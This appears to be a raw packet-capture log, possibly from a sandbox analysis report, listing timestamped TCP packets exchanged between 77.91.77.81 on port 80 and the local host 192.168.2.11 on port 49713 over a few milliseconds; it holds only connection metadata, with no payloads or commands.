Jun 4, 2024 23:09:16.720593929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720603943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720609903 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720614910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720624924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720624924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720637083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720652103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720658064 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720658064 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720669031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720679998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720686913 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720690966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720701933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720705986 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720712900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720724106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720730066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720735073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720746040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720753908 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720758915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720768929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720774889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720781088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720787048 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720792055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720803022 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720813990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720813990 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720832109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720844030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720849991 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720849991 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720854998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720865965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720870018 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720876932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720889091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720900059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720905066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720911026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720911026 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720922947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720933914 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720933914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720946074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720962048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720963955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720972061 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720978975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.720992088 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.720995903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721007109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721015930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721019983 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721028090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721039057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721040010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721050024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721061945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721069098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721074104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721080065 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721086979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721096992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721096992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721107006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721117973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721120119 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721137047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721143961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721151114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721162081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721162081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721172094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721183062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721184969 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721193075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721204042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721211910 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721215010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721225023 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721225977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721235991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721242905 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721246958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721256018 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721256971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721267939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721277952 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721278906 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721295118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721304893 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721311092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721323013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721328020 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721333027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721349955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721350908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721362114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721371889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721378088 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721384048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721395016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721398115 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721405029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721416950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721420050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721431971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721435070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721441984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721452951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721462965 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721466064 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721477032 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721483946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721494913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721502066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721506119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721518040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721524954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721530914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721543074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721546888 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721556902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721565962 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721568108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721580982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721580982 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721590996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721601009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721606016 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721616030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721627951 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721630096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721646070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721646070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721658945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721666098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721668005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721684933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721693039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721695900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721709967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721715927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721720934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721733093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721734047 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721744061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721755028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721754074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721765041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721779108 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721785069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721793890 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721802950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721813917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721823931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721834898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721836090 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721846104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721848965 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721857071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721868038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721877098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721878052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721889973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721905947 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721908092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721918106 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721918106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721929073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721940041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721944094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721951008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721965075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721968889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721982956 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721985102 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.721993923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.721999884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722007036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722018003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722023964 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722029924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722035885 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722042084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722054005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722060919 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722064972 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722076893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722084045 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722088099 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722100973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722111940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722117901 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722131014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722131014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722141027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722157955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722158909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722171068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722182035 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722183943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722197056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722208977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722209930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722223997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722229958 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722238064 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722243071 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722249985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722260952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722265959 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722273111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722285986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722291946 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722302914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722312927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722320080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722332001 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722333908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722345114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722354889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722356081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722366095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722378016 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722378016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722390890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722400904 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722403049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722414970 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722419977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722426891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722439051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722440958 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722454071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722465038 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722471952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722484112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722489119 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722496033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722507954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722515106 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722518921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722529888 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722531080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722542048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722553015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722558022 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722564936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722577095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722582102 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722589016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722599983 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722600937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722615957 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722616911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722635031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722640038 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722646952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722657919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722664118 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722676039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722681999 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722687960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722698927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722709894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722712040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722721100 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722723007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722733974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722744942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722748995 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722757101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722774982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722791910 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722793102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722791910 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722805023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722805023 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722815990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722827911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722839117 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722839117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722845078 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722850084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722863913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722871065 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722875118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722887039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722897053 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722898960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722909927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722910881 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722922087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722935915 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722937107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722955942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722959995 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722968102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722979069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.722980976 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.722990990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.723002911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.723005056 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.723014116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.723026037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.723028898 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.723037958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.723042965 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.723050117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.723062038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.723067045 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.723073959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.723093033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.723093987 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.723104000 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.723110914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.723124027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.723129034 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.723134995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.723148108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.723153114 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.723159075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.723166943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.723170996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.723184109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.723192930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.723196030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.723206997 CEST	80	49713	77.91.77.81	192.168.2.11
